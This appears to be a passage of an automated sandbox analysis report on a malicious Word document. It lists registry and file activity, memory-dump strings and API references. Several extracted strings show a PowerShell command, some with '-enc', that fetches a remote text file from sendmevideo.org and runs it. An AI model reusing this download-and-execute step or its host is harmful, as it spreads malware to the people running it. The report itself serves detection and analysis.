"") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\OSDATA\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES\MANIFESTEDMERGESTUBSDBS"; Key: ""; Value: "")2f:Tacc,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMERGE.SDB"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "")30:T485,"WINWORD.EXE" trying to touch file "C:\Windows\System32\apphelp.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" "WINWORD.EXE" trying to touch file "C:\Windows\System32\ntdll.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\kernel32.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\KernelBase.dll" "WINWORD.EXE" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "WINWORD.EXE" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "WINWORD.EXE" trying to touch file "C:\Windows\System32\AcSpecfc.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\sspicli.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\userenv.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\msi.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\winspool.drv" "WINWORD.EXE" trying to touch file "C:\Windows\System32\bcrypt.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\AcGenral.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\mpr.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\msvcrt.dll"31:T931c,"WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "%!{"; Value: "%!{") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "Off") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "4F006E000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "WORDFILES"; Value: "1200D05A") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "1200D05A") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "1300D05A") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD"; Key: "MTTT"; Value: "DC0100004C6897B343DFDB0101000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "SS{"; Value: "ss{") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "" - Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm]x+,[:dsbt-4621roxy0okb&tiu" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>psyva\_y-" - Source: "00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00007680.00000000.246092.F49D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007680.00000000.246092.F49D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00007680.00000000.246092.F49D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007680.00000000.246092.F49D0000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell" - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershellile:///c:/windows/system32/windowspowershell/v1.0/en-us/system.management.automation.resources.exeystem.management.automation," - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell:\windows\microsoft.net\assembly\gac_msil\system\v4.0_4.0.0.0__b77a5c561934e089\psapi.dlles.exe:\windows\microsoft.net\assembly\gac_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll:\windows\microsoft.net\assembly\gac_64\system.data\v4.0_4.0.0.0__b77a5c561934e089\system.data.dll??\c:\windows\system32\windowspowershell\v1.0\en-us\system.management.automation.resources.exe:\windows\microsoft.net\assembly\gac_msil\system\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll:\windows\microsoft.net\assembly\gac_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dllappdata:\windows\microsoft.net\assembly\gac_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll:\windows\system32\windowspowershell\v1.0\en-us\system.management.automation.resources.dllces.dllusershapubwsfavoritesusershapubwssaved" - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell-enc.exepce" - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell-enc.exe\windowspath=c:\program" - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell-enc.exe" - Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell-enc.exetem32allusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00008676.00000000.245254.EF6B0000.00000004.mdmp") Found URL "http://sendmevideo.org/dh2025e/eee.txt');powershell-enc.exeallusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00008676.00000000.245254.F1030000.00000004.mdmp")43:Tc30,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp, 00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp, 00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F10F0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F10F0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F10F0000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F10F0000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F1140000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F1140000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F1140000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00008676.00000000.245254.F1140000.00000002.mdmp")44:T689,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "wGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00007680.00000000.246092.66753000.00000002.mdmp")45:T926,Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00008676-00000BC0-2831623964") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp, 00000000-00007680.00000000.246092.F2860000.00000004.mdmp, 00000000-00007680.00000000.246092.F2870000.00000004.mdmp, 00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp, 00000000-00007680.00000000.246092.F2860000.00000004.mdmp, 00000000-00007680.00000000.246092.F2870000.00000004.mdmp, 00000000-00007680.00000000.246092.F48A0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00007680.00000000.246092.F2620000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp, 00000000-00008676.00000000.245254.EF6B0000.00000004.mdmp, 00000000-00008676.00000000.245254.F1030000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp, 00000000-00008676.00000000.245254.EF6B0000.00000004.mdmp, 00000000-00008676.00000000.245254.F1030000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found string "\Device\HarddiskVolume1" (Indicator: "\Device\"; Source: "00000000-00008676.00000000.245254.EF420000.00000004.mdmp") Found string "dows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00008676.00000000.245254.EF6B0000.00000004.mdmp") Found string "dows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00008676.00000000.245254.EF6B0000.00000004.mdmp")46:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")47:Ta60,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